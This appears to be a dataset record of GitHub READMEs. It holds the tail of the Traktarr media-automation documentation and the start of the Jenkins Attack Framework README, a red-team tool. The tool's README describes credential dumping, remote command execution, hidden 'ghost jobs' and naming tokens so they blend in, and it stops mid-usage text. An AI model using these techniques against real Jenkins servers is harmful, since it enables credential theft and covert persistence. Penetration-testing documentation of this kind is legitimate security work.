\"pushover\",\n    \"app_token\": \"\",\n    \"user_token\": \"\",\n    \"priority\": 0\n  },\n  \"verbose\": false\n},\n```\n\n`app_token`  - App Token from [Pushover.net](https://pushover.net).\n\n - Required.\n\n`user_token` - User Token from [Pushover.net](https://pushover.net).\n\n - Required.\n\n`priority` - [Priority](https://pushover.net/api#priority) of the notifications.\n\n - Optional.\n\n - Choices are: `-2`, `-1`, `0`, `1`, `2`.\n\n - Values are not quoted.\n\n - Default is `0`.\n\n\n### Slack\n\n```json\n\"notifications\": {\n  \"slack\": {\n    \"service\": \"slack\",\n    \"webhook_url\": \"\",\n    \"channel\": \"\",\n    \"sender_name\": \"Traktarr\",\n    \"sender_icon\": \":movie_camera:\"\n  },\n  \"verbose\": false\n},\n```\n\n`webhook_url` - [Webhook URL](https://my.slack.com/services/new/incoming-webhook/).\n\n - Required.\n\n`channel` - Slack channel to send the notifications to.\n\n - Optional.\n\n - Default is blank.\n\n`sender_name` - Sender's name for the notifications.\n\n - Optional.\n\n - Default is `Traktarr`.\n\n`sender_icon` - Icon to use for the notifications.\n\n - Optional.\n\n - Default is `:movie_camera:`\n\n\n\n## Radarr\n\nRadarr configuration.\n\n```json\n\"radarr\": {\n  \"api_key\": \"\",\n  \"minimum_availability\": \"released\",\n  \"quality\": \"HD-1080p\",\n  \"root_folder\": \"/movies/\",\n  \"url\": \"http://localhost:7878\"\n},\n```\n`api_key` - Radarr's API Key.\n\n`quality` - Quality Profile that movies are assigned to.\n\n`minimum_availability` - The minimum availability the movies are set to.\n\n  - Choices are `announced`, `in_cinemas` or `released` (Physical/Web).\n\n  - Default is `released` (Physical/Web).\n\n`root_folder` - Root folder for movies.\n\n`url` - Radarr's URL.\n\n  - Note: If you have URL Base enabled in Radarr's settings, you will need to add that into the URL as well.\n\n## Sonarr\n\nSonarr configuration.\n\n\n```json\n\"sonarr\": {\n  \"api_key\": \"\",\n  \"language\": \"English\",\n  \"quality\": \"HD-1080p\",\n  \"root_folder\": \"/tv/\",\n  \"season_folder\": true,\n  \"tags\": [],\n  \"url\": \"http://localhost:8989\"\n},\n```\n\n`api_key` - Sonarr's API Key.\n\n`language` - Language Profile that TV shows are assigned to. Only applies to Sonarr v3.\n\n`quality` - Quality Profile that TV shows are assigned to.\n\n`root_folder` - Root folder for TV shows.\n\n`season_folder` - Sort episodes into season folders.\n\n`tags` - Assign tags to shows. Tags need to be created in Sonarr first.\n\n  - Examples:\n\n    ```json\n    \"tags\": [\"anime\"]\n    ```\n \n     ```json\n    \"tags\": [\"anime\", \"jap\"]\n    ```\n    \n    ```json\n    \"tags\": [\n      \"anime\", \n      \"jap\"\n    ]\n    ```\n    \n`url` - Sonarr's URL.\n\n  - Note: If you have URL Base enabled in Sonarr's settings, you will need to add that into the URL as well.\n\n## Trakt\n\nTrakt Authentication info:\n\n```json\n\"trakt\": {\n  \"client_id\": \"\",\n  \"client_secret\": \"\"\n}\n```\n\n`client_id` - Your Trakt API Key (_Client ID_).\n\n`client_secret` - Your Trakt Secret Key (_Client Secret_).\n\n## OMDb\n\n[OMDb](https://www.omdbapi.com/) Authentication info.\n\n```json\n\"omdb\": {\n  \"api_key\":\"\"\n}\n```\n\n`api_key` - Your [OMDb](https://www.omdbapi.com/) API Key.\n\n- This is only needed if you wish to use a minimum Rotten Tomatoes score to filter out movies.  \n\n- Use `rotten_tomatoes` in config for automatic scheduling or `--rotten_tomatoes` as an argument for CLI.\n\n# Usage\n\n## Automatic (Scheduled)\n\n### Setup\n\nTo have Traktarr get Movies and Shows for you automatically, on set interval, do the following:\n\n1. `sudo cp /opt/traktarr/systemd/traktarr.service /etc/systemd/system/`\n\n2. `sudo nano /etc/systemd/system/traktarr.service` and edit user/group to match yours' (run `id` to check).\n\n3. `sudo systemctl daemon-reload`\n\n4. `sudo systemctl enable traktarr.service`\n\n5. `sudo systemctl start traktarr.service`\n\n### Customize\n\nYou can customize how the scheduled Traktarr is ran by editing the `traktarr.service` file and adding any of the following options:\n\n\\* Remember, other configuration options need to go into the `config.json` file under the `Automatic` section.\n\n```\ntraktarr run --help\n```\n\n```\nUsage: traktarr run [OPTIONS]\n\n  Run in automatic mode.\n\nOptions:\n  -d, --add-delay FLOAT           Seconds between each add request to Sonarr /\n                                  Radarr.  [default: 2.5]\n  -s, --sort [votes|rating|release]\n                                  Sort list to process.\n  --no-search                     Disable search when adding to Sonarr /\n                                  Radarr.\n  --run-now                       Do a first run immediately without waiting.\n  --no-notifications              Disable notifications.\n  --ignore-blacklist              Ignores the blacklist when running the\n                                  command.\n  --help                          Show this message and exit.\n```\n\n\n`-d`, `--add-delay` - Add seconds delay between each add request to Sonarr / Radarr. Default is `2.5` seconds.\n\n - Example: `-d 5`\n\n`-s`, `--sort` - Sort list by highest `votes`, highest `rating`, or the latest `release` dates. Default is highest `votes`.\n\n - Example: `-s release`\n\n`--no-search` - Tells Sonarr / Radarr to not automatically search for added shows / movies.\n\n`--run-now` - Traktarr will run first automated search on start, without waiting for next interval.\n\n`--no-notifications` - Disable notifications. Default is `enabled`.\n\n`--ignore-blacklist` - Ignores blacklist filtering. Equivalent of `disabled_for` in config.json.\n\n\nExample of a modified line from the `traktarr.service` file that will always add from the most recent releases matched:\n\n```\nExecStart=/usr/bin/python3 /opt/traktarr/traktarr.py run -s release\n```\n\n## Manual (CLI)\n\n### General\n\n```\ntraktarr\n```\n\n```\nUsage: traktarr [OPTIONS] COMMAND [ARGS]...\n\n  Add new shows & movies to Sonarr/Radarr from Trakt.\n\nOptions:\n  --version         Show the version and exit.\n  --config PATH     Configuration file  [default: /Users/macuser/Documents/Git\n                    Hub/l3uddz/traktarr/config.json]\n  --cachefile PATH  Cache file  [default:\n                    /Users/macuser/Documents/GitHub/l3uddz/traktarr/cache.db]\n  --logfile PATH    Log file  [default: /Users/macuser/Documents/GitHub/l3uddz\n                    /traktarr/activity.log]\n  --help            Show this message and exit.\n\nCommands:\n  movie                 Add a single movie to Radarr.\n  movies                Add multiple movies to Radarr.\n  run                   Run Traktarr in automatic mode.\n  show                  Add a single show to Sonarr.\n  shows                 Add multiple shows to Sonarr.\n  trakt_authentication  Authenticate Traktarr.\n  ```\n\n### Movie (Single Movie)\n\n```\ntraktarr movie --help\n```\n\n```\nUsage: traktarr movie [OPTIONS]\n\n  Add a single movie to Radarr.\n\nOptions:\n  -id, --movie-id TEXT  Trakt Movie ID.  [required]\n  -f, --folder TEXT     Add movie with this root folder to Radarr.\n  -ma, --minimum-availability [announced|in_cinemas|released]\n                        Add movies with this minimum availability to Radarr.\n  --no-search           Disable search when adding movie to Radarr.\n  --help                Show this message and exit.\n```\n\n`-id`, `--movie-id` -  ID/slug of the movie to add to Radarr. Supports both Trakt and IMDB IDs. This arguent is required.\n\n`-f`, `--folder` -  Add movie to a specific root folder in Radarr.\n\n - Example: `-f /mnt/unionfs/Media/Movies/Movies-Kids/`\n\n`minimum_availability` - The minimum availability the movies are set to.\n\n   - Choices are `announced`, `in_cinemas` or `released` (Physical/Web).\n\n   - Default is `released` (Physical/Web).\n\n`--no-search` - Tells Radarr to not automatically search for added movies.\n\n\n### Movies (Multiple Movies)\n\n```\ntraktarr movies --help\n```\n\n\n```\nUsage: traktarr movies [OPTIONS]\n\n  Add multiple movies to Radarr.\n\nOptions:\n  -t, --list-type TEXT            Trakt list to process. For example, 'anticipated', 'trending',\n                                  'popular', 'person', 'watched', 'played', 'recommended',\n                                  'watchlist', or any URL to a list.  [required]\n  -l, --add-limit INTEGER         Limit number of movies added to Radarr.\n  -d, --add-delay FLOAT           Seconds between each add request to Radarr.  [default: 2.5]\n  -s, --sort [rating|release|votes]\n                                  Sort list to process.  [default: votes]\n  -rt, --rotten_tomatoes INTEGER  Set a minimum Rotten Tomatoes score.\n  -y, --year, --years TEXT        Can be a specific year or a range of years to search. For\n                                  example, '2000' or '2000-2010'.\n  -g, --genres TEXT               Only add movies from this genre to Radarr. Multiple genres are\n                                  specified as a comma-separated list. Use 'ignore' to add movies\n                                  from any genre, including ones with no genre specified.\n  -f, --folder TEXT               Add movies with this root folder to Radarr.\n  -ma, --minimum-availability [announced|in_cinemas|released]\n                                  Add movies with this minimum availability to Radarr. Default is\n                                  'released'.\n  -p, --person TEXT               Only add movies from this person (e.g. actor) to Radarr. Only\n                                  one person can be specified. Requires the 'person' list type.\n  --include-non-acting-roles      Include non-acting roles such as 'Director', 'As Himself',\n                                  'Narrator', etc. Requires the 'person' list type with the\n                                  'person' argument.\n  --no-search                     Disable search when adding movies to Radarr.\n  --notifications                 Send notifications.\n  --authenticate-user TEXT        Specify which user to authenticate with to retrieve Trakt lists.\n                                  Defaults to first user in the config.\n  --ignore-blacklist              Ignores the blacklist when running the command.\n  --remove-rejected-from-recommended\n                                  Removes rejected/existing movies from recommended.\n  --help                          Show this message and exit.\n```\n\n`-t`, `--list-type` - Trakt list to process.\n\nChoices are: `anticipated`, `trending`, `popular`, `boxoffice`, `watched`, `played`, `URL` (Trakt list), or `person` (used with `-p`/`--person` argument).\n\n- Top Watched List options:\n\n  - `watched` / `watched_weekly` - Most watched in the week.\n\n  - `watched_monthly` - Most watched in the month.\n\n  - `watched_yearly` - Most watched in the year.\n\n  - `watched_all` - Most watched of all time.\n\n- Top Played List options:\n\n  - `played` / `played_weekly` - Most played in the week.\n\n  - `played_monthly` - Most played in the month.\n\n  - `played_yearly` - Most played in the year.\n\n  - `played_all` Most played of all time.\n\n`-l`, `--add-limit` - Limit number of movies added to Radarr.\n\n - Note: This is a limit on how many items are added into Radarr. Not a limit on how many items to retrieve from Trakt.\n\n`-d`, `--add-delay` - Add seconds delay between each add request to Radarr. Default is 2.5 seconds.\n\n - Example: `-d 5`\n\n`-s`, `--sort` - Sort list by highest `votes`, highest `rating`, or the latest `release` dates. Default is highest `votes`.\n\n - Example: `-s release`\n\n`-rt`, `--rotten_tomatoes` -  Only add movies equal to or above this Rotten Tomatoes score.\n\n - Example: `-rt 75`\n\n`-y`, `--year`, `--years` -  Only add movies from from a specific year or range of years.\n\n - Examples: `-y 2010`, `--years 2010-2020`\n \n`-g`, `--genres` - Only add movies from these genre(s) to Radarr.\n\n- Multiple genres are passed as comma-separated lists. The effect of this is equivalent of boolean OR. (ie. include items from any of these genres).\n\n- Can find a list [here](assets/list_of_movie_genres.md).\n\n`-f`, `--folder` -  Add movies to a specific root folder in Radarr.\n\n - Example: `-f /mnt/unionfs/Media/Movies/Movies-Kids/`\n\n`minimum_availability` - The minimum availability the movies are set to.\n\n  - Choices are `announced`, `in_cinemas` or `released` (Physical/Web).\n\n  - Default is `released` (Physical/Web).\n\n`-p`, `--person` - Only add movies with a specific person to Radarr.\n\n  - Requires the list type `person`.\n\n`--include-non-acting-roles` - Include non-acting roles of the specified person.\n\n  - Requires the list type `person` used with the `-p`/`--person` option.\n\n`--no-search` - Tells Radarr to not automatically search for added movies.\n\n`--notifications` - To enable notifications. Default is `disabled`.\n\n`--authenticate-user` - Specify which authenticated user to retrieve Trakt lists as. Default is the first user in the config.\n\n`--ignore-blacklist` - Ignores blacklist filtering.\n\n - Equivalent of `disabled_for` in `config.json`.\n\n`--remove-rejected-from-recommended` - Removes rejected/existing shows from the recommended list, so that it will be removed from further recommendations.\n\n\n### Show (Single Show)\n\n```\ntraktarr show --help\n```\n\n\n```\nUsage: traktarr show [OPTIONS]\n\n  Add a single show to Sonarr.\n\nOptions:\n  -id, --show-id TEXT  Trakt Show ID.  [required]\n  -f, --folder TEXT    Add show with this root folder to Sonarr.\n  --no-search          Disable search when adding show to Sonarr.\n  --help               Show this message and exit.\n```\n\n`-id`, `--show-id` -  ID/slug of the show to add to Sonarr. Supports both Trakt and IMDB IDs. This argument is required.\n\n\n### Shows (Multiple Shows)\n\n```\ntraktarr shows --help\n```\n\n\n```\nUsage: traktarr shows [OPTIONS]\n\n  Add multiple shows to Sonarr.\n\nOptions:\n  -t, --list-type TEXT            Trakt list to process. For example, 'anticipated', 'trending',\n                                  'popular', 'person', 'watched', 'played', 'recommended',\n                                  'watchlist', or any URL to a list.  [required]\n  -l, --add-limit INTEGER         Limit number of shows added to Sonarr.\n  -d, --add-delay FLOAT           Seconds between each add request to Sonarr.  [default: 2.5]\n  -s, --sort [rating|release|votes]\n                                  Sort list to process.  [default: votes]\n  -y, --year, --years TEXT        Can be a specific year or a range of years to search. For\n                                  example, '2000' or '2000-2010'.\n  -g, --genres TEXT               Only add shows from this genre to Sonarr. Multiple genres are\n                                  specified as a comma-separated list. Use 'ignore' to add shows\n                                  from any genre, including ones with no genre specified.\n  -f, --folder TEXT               Add shows with this root folder to Sonarr.\n  -p, --person TEXT               Only add shows from this person (e.g. actor) to Sonarr. Only one\n                                  person can be specified. Requires the 'person' list type.\n  --include-non-acting-roles      Include non-acting roles such as 'Director', 'As Himself',\n                                  'Narrator', etc. Requires the 'person' list type with the\n                                  'person' argument.\n  --no-search                     Disable search when adding shows to Sonarr.\n  --notifications                 Send notifications.\n  --authenticate-user TEXT        Specify which user to authenticate with to retrieve Trakt lists.\n                                  Defaults to first user in the config\n  --ignore-blacklist              Ignores the blacklist when running the command.\n  --remove-rejected-from-recommended\n                                  Removes rejected/existing shows from recommended.\n  --help                          Show this message and exit.\n```\n\n\n`-t`, `--list-type` - Trakt list to process.\n\nChoices are: `anticipated`, `trending`, `popular`, `watched`, `played`, `URL` (Trakt list), or `person` (used with `-p`/`--person` argument).\n\n- Top Watched List options:\n\n  - `watched` / `watched_weekly` - Most watched in the week.\n\n  - `watched_monthly` - Most watched in the month.\n\n  - `watched_yearly` - Most watched in the year.\n\n  - `watched_all` - Most watched of all time.\n\n- Top Played List options:\n\n  - `played` / `played_weekly` - Most played in the week.\n\n  - `played_monthly` - Most played in the month.\n\n  - `played_yearly` - Most played in the year.\n\n  - `played_all` Most played of all time.\n\n`-l`, `--add-limit` - Limit number of shows added to Sonarr.\n\n - Note: This is a limit on how many items are added into Sonarr. Not a limit on how many items to retrieve from Trakt.\n\n`-d`, `--add-delay` - Add seconds delay between each add request to Sonarr. Default is 2.5 seconds.\n\n - Example: `-d 5`\n\n`-s`, `--sort` - Sort list by highest `votes`, highest `rating`, or the latest `release` dates. Default is highest `votes`.\n\n - Example: `-s release`\n\n`-y`, `--year`, `--years` -  Only add shows from from a specific year or range of years.\n\n - Examples: `-y 2010`, `--years 2010-2020`\n \n`-g`, `--genres` - Only add shows from this genre(s) to Sonarr.\n\n- Multiple genres are passed as comma-separated lists. The effect of this is equivalent of boolean OR. (ie. include items from any of these genres).\n\n- Can find a list [here](assets/list_of_tv_show_genres.md).\n\n`-f`, `--folder` -  Add shows to a specific root folder in Sonarr.\n\n - Example: `-f /mnt/unionfs/Media/Shows/Shows-Kids/`\n\n`-p`, `--person` - Only add shows with a specific person to Sonarr.\n\n   - Requires the list type `person`.\n\n`--include-non-acting-roles` - Include non-acting roles of the specified person.\n\n  - Requires the list type `person` used with the `-p`/`--person` option.\n\n`--no-search` - Tells Sonarr to not automatically search for added shows.\n\n`--notifications` - To enable notifications. Default is `disabled`.\n\n`--authenticate-user` - Specify which authenticated user to retrieve Trakt lists as. Default is the first user in the config.\n\n`--ignore-blacklist` - Ignores blacklist filtering. Equivalent of `disabled_for` in `config.json`.\n\n`--remove-rejected-from-recommended` - Removes rejected/existing shows from the recommended list, so that it will be removed from further recommendations.\n\n\n## Examples (CLI)\n\n### Movies\n\n- Add the movie \"Black Panther (2018)\":\n\n  ```\n  traktarr movie -id black-panther-2018\n  ```\n\n- Add movies, from the popular list, labeled with the thriller genre, limited to 5 items, and sorted by latest release date.\n\n  ```\n  traktarr movies -t popular -g thriller -l 5 -s release\n  ```\n\n- Add movies, from the Box Office list, labeled with the comedy genre, limited to 10 items, and send notifications:\n\n  ```\n  traktarr movies -t boxoffice -g comedy -l 10 --notifications\n  ```\n\n- Add movies, from a list of most watched played this week, and limited to 5 items.\n\n  ```\n  traktarr movies -t watched -l 5\n  ```\n\n- Add movies, from a list of most played movies this month, and limited to 5 items.\n\n  ```\n  traktarr movies -t played_monthly -l 5\n  ```\n\n- Add (all) movies from the public list `https://trakt.tv/users/rkerwin/lists/top-100-movies`:\n\n  ```\n  traktarr movies -t https://trakt.tv/users/rkerwin/lists/top-100-movies\n  ```\n\n- Add (all) movies from the private list `https://trakt.tv/users/user1/lists/private-movies-list` of `user1`:\n\n  ```\n  traktarr movies -t https://trakt.tv/users/user1/lists/private-movies-list --authenticate-user=user1\n  ```\n\n- Add movies, from the trending list, with a minimum Rotten Tomatoes score of 80%.\n\n  ```\n  traktarr movies -t trending -rt 80\n  ```\n\n- Add movies, from the trending list, from the year 2020.\n\n  ```\n  traktarr movies -t trending -y 2020\n  ```\n  \n- Add movies, with actor 'Keanu Reeves', limited to 10 items.\n\n  ```\n  traktarr movies -t person -p 'keanu reeves' -l 10\n  ```\n\n- Add movies, with actor 'Tom Cruise', including movies where he has non-acting roles, limited to 10 items.\n\n  ```\n  traktarr movies -t person -p 'tom cruise' --include-non-acting-roles -l 10\n  ```\n\n### Shows\n\n- Add the show \"The 100\":\n\n  ```\n  traktarr show -id the-100\n  ```\n\n- Add shows, from the popular list, limited to 5 items, and sorted by highest ratings.\n\n  ```\n  traktarr shows -t popular -l 5 -s rating\n  ```\n\n- Add shows, from the popular list, limited to 2 items, and add them but don't search for episodes in Sonarr:\n\n  ```\n  traktarr shows -t popular -l 2 --no-search\n  ```\n\n- Add shows, from a list of most watched shows this year, and limited to 5 items.\n\n  ```\n  traktarr shows -t watched_yearly -l 5\n  ```\n\n- Add shows, from a list of most played shows this week, and limited to 5 items.\n\n  ```\n  traktarr shows -t played -l 5\n  ```\n\n- Add shows, from a list of most played shows of all time, and limited to 5 items.\n\n  ```\n  traktarr shows -t played_all -l 5\n  ```\n\n- Add (all) shows from the watchlist of `user1`:\n\n  ```\n  traktarr shows -t watchlist --authenticate-user user1\n  ```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Accenture/jenkins-attack-framework", "link": "https://github.com/Accenture/jenkins-attack-framework", "tags": [], "stars": 505, "description": null, "lang": "Python", "repo_lang": "", "readme": "Jenkins Attack Framework\n============================\n\n## Description\n\nThis project can currently perform the following tasks:\n\n* **AccessCheck:** Test credentials and provide a rough overview of their access levels\n\n* **ConsoleOutput:** Dump the console output of the last build of every job on the server (Can be Gigabytes of data, but good for finding credentials)\n\n* **CreateAPIToken:** Creates an API Token for the current user (Or another user if you have administrative credentials)\n\n* **DeleteAPIToken:** Deletes an API Token for the current user (Or another user if you have administrative credentials. Lists existing ones if no token supplied)\n\n* **DeleteJob:** Delete a Job, or failing that, attempt a number of follow-up mitigations from most-to-least effective.\n\n* **DumpCreds:** Dump credentials (Uses administrative credentials to dump credentials via Jenkins Console)\n\n* **DumpCredsViaJob:** Dump credentials via job creation and explicit enumeration (User needs at least Add Job permissions)\n\n* **ListAPITokens:** List existing API tokens for the current user (Or another user if you have administrative credentials)\n\n* **ListJobs:** List existing Jenkins Jobs (Good For finding specific jobs)\n\n* **RunCommand:** Run system command and get output/errors back (Uses administrative credentials and Jenkins Console)\n\n* **RunJob:** Upload a script and run it as a job.  Also run \"Ghost Jobs\" that don't terminate or show up in Jenkins (after launch)\n\n* **RunScript:** Run Groovy scripts (Uses administrative credentials to run a Groovy Script via Jenkins Console)\n\n* **UploadFile:** Upload a file (Uses administrative credentials and chunked uploading via Jenkins Console)\n\n* **WhoAmI:** Get the credentialed user's Jenkins groups (Usually contains their domain groups)\n\n* More things are in the works...\n\n## Installing\n\nRun the following commands: \n\n\tgit clone git@github.com:Accenture/jenkins-attack-framework.git \n\tcd jaf\n\tchmod +x jaf\n\tsudo ./jaf --install\n\t./jaf --install\n\nBefore you can use the RunJob \"ghost job\" feature against Windows Jenkins Slaves, you will need to compile the following file `data/cpp/windows_ghost_job_helper.cpp` using Visual Studio's cl tool (see compile arguments in comment at the top of that file), and then drop the compiled file in `data/exe/windows_ghost_job_helper.exe`.\n\n## Command Line Help\n\nThe commandline help should be pretty straight forward, but is provided here with additional notes:\n\n\tusage: jaf.py <Command> [-h]\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\t<Command>   Subcommand to run (pass sub command for more detailed help):\n\t\t\t\tAccessCheck ConsoleOutput CreateAPIToken DeleteAPIToken\n\t\t\t\tDeleteJob DumpCreds DumpCredsViaJob ListAPITokens ListJobs\n\t\t\t\tRunCommand RunJob RunScript UploadFile WhoAmI\n\n\toptional arguments:\n\t-h, --help  show this help message and exit\n\n### Common Usage Notes\n\nFor every subcommand, you can get more detailed help by calling JAF with the subcommand and no additional options (or the `-h` option).\n\n#### Server URL\t\n\nFor every command (other than requesting help), the `-s` command is required. This should be the full, base URL to the Jenkins instance.\n\n#### User Agent\n\nJAF will use the following user agent with each request: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36`. This was chosen, at least at the time of this release to fit in. If you wish to use a different user-agent, one can be specified with the `-u` option.\n\n#### Output Redirection\n\nFor every command, you may pass the `-o` option with a file path. If passed, JAF will write all output (with the exception of some fatal or critical errors) to the file instead of stdout. This option is particularly useful on Windows where console redirection tends to break on random bytes unless you change the code page.\n\n#### Credentials\n\nIf no credentials are provided, JAF will attempt to connect with anonymous credentials.\nCredentials can be provided via two methods. To provide a single set of credentials use the `-a` option.\nCredentials can take three forms: `user:password`, `user:apitoken`, or a Cookie string. \n\nIn the case of the latter option, the cookie should include the entire cookie (everthing after \"Cookie: \" in the browser header).\nCookie authentication is particularly useful when the Jenkin server uses federation with another Jenkins server for authentication.\nIn this scenario, normal `user:password` auth will not work. API tokens _may_ still work. If not, authenticate in your browser, then pass the cookie.\nCookie authentication can also include a `Jenkins Crumb`, which should be concatenated to the end of the cookie string to look something like: `JSESSIONID.9922756a=node0rhre4wjrdcjz9m4tbqx0qwqn1567.node0|Jenkins-Crumb=f5cb5472851aad76fc45568ef1e4160928d075376fd78c436a58d39b99aae09a`\n\nThough JAF can usually determine your authentication type by parsing the string, you can also hint the correct type by prepending your credential string with one of the following (self-explanatory) tags: `{USERPASS}`, `{APITOKEN}`, `{COOKIE}` \n\nFor the following two commands, you may pass a single set of credentials using the `-a` option or you may pass multiple credentials with the `-c` option: `AccessCheck` and `WhoAmI`.\nThe `-c` option takes either the path to a file which contains one of the aforementioned credential forms per line, or `-`. If `-` is passed, JAF will take credentials via stdin instead of from a file (formatting remains the same).\n\n#### Timeouts, Threads, and Waiting\n\nHTTP Request Timeouts default to 30 seconds. If you would like a shorter or longer timeout, one can be configured with the `-n` option.\n\nFor certain multi-request methods (`ConsoleOutput`, `AccessCheck`, or `WhoAmI`), the number of threads (and thus number of simultaneous requests) can be configured. By default 4 threads are used. To specify a different number of threads pass the `-t` option.\n\nFor the `RunCommand`, `RunJob`, and `RunScript` methods, in addition to setting a total request timeout, you may pass the `-x` option to explicitly not wait for the request to return. This can be valuable when starting a SOCKS Proxy or similar long running task.\n\n\n### AccessCheck\n\nThis method provides a number of heuristic checks for access levels which are useful for an attacker. A negative result should be accurate. A positive result means that the user potentially has the access, but you will need to perform additonal validation. There are simply too many ways to restrict access in Jenkins and no API for determining granular access levels, so results are not always prefectly accurate.  Currently this method checks for the following access: `Basic Read Access (read)`, `Create Job Access (build)`, `Some level of Admin Access (admin)`, `Script Console Access (script)`, `Scriptler Groovy Script Plugin Access (scriptler)`\n\n\tusage: jaf.py AccessCheck [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n\t\t\t\t[-o Output File] [-t <Threads>]\n\t\t\t\t[-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n\t\t\t\t[-c <Credential File>]\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tAccessCheck           Get Users Rough Level of Access on Jenkins Server\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-t <Threads>, --threads <Threads>\n\t\t\t\t\t\t\tNumber of max concurrent HTTP requests. Defaults to: 4\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-c <Credential File>, --credentialfile <Credential File>\n\t\t\t\t\t\t\tCredential File (\"-\" for stdin). Creds in form\n\t\t\t\t\t\t\t\"<User>:<Password>\" or \"<User>:<API Token>\"\n\n\n### ConsoleOutput\n\nThis method dumps the console output for the last build of every job that the user can see. You need at least job viewing privileges which is not always possible to determine. This can and often does result in gigabytes (or even terabytes) of output.\n\n\tusage: jaf.py ConsoleOutput [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n\t\t\t\t[-o Output File] [-t <Threads>]\n\t\t\t\t[-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tConsoleOutput         Get Latest Console Output from All Jenkins Jobs\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-t <Threads>, --threads <Threads>\n\t\t\t\t\t\t\tNumber of max concurrent HTTP requests. Defaults to: 4\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\n\n### CreateAPIToken\n\nUsed to create an API Token for the user who's credentials are supplied. If the `--user` option is passed, this command will instead create an API token for the supplied user (but you must have administrative `/script` console access to do this). \n\n`Token Name` is entirely optional and can be anything even a duplicate of an existing token name. Tokens are shown under the user's `configure` page (`/user/<username>/configure`), so pick a name that will blend in (or no name). If no `Token Name` is specified and you are creating the token for the current user, Jenkins will pick the name `Token Created on <Date>`. If creating a token with no `Token Name` as an admin for another user (or even yourself while using the `--user` option, the name will actually be blank, and the Jenkins API actually makes this kind of difficult to notice). \n\nOn successful token creation, the new API Token will be printed to the screen. You should capture this, as this token can never be viewed again.\n\n\tusage: jaf.py CreateAPIToken [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n\t\t\t\t[-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n\t\t\t\t[-U <User Name>] [<Token Name>]\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tCreateAPIToken        Create an API Token for your user\n\t<Token Name>          Token Name which is shown under the user's\n\t\t\t\t\t\t\tconfiguration page (so pick something that is not too\n\t\t\t\t\t\t\tsuspicious). Can be duplicated (There do not appear to\n\t\t\t\t\t\t\tbe any restrictions on token names). If not provided,\n\t\t\t\t\t\t\tonly token creation date will be shown on user's page.\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-U <User Name>, --user <User Name>\n\t\t\t\t\t\t\tIf provided, will use Jenkins Script Console to add\n\t\t\t\t\t\t\ttoken for this user. (Requires Admin \"/script\"\n\t\t\t\t\t\t\tpermissions)\n\n\n### DeleteAPIToken\n\nUsed to delete an API Token for the user who's credentials are supplied. If the `--user` option is passed, this command will instead delete the API token for the supplied user (but you must have administrative `/script` console access to do this). \n\nToken Name or UUID is required to actually delete a token. If not supplied, this function effectively acts like `ListAPITokens` and returns a list of existing tokens. If a `Token Name` is supplied this command will try to delete that token and alert you on success or failure. If the name matches multiple tokens, no token will be deleted, and you will receive an error message. In that case, you should instead list tokens (either by calling `DeleteAPIToken` with no additional arguments, or via calling `ListAPITokens`), then try again with a `Token UUID`. Deleted tokens cannot be restored, so make sure you are certain before attempting.\n\n\tusage: jaf.py DeleteAPIToken [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n              [-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n              [-U <User Name>] 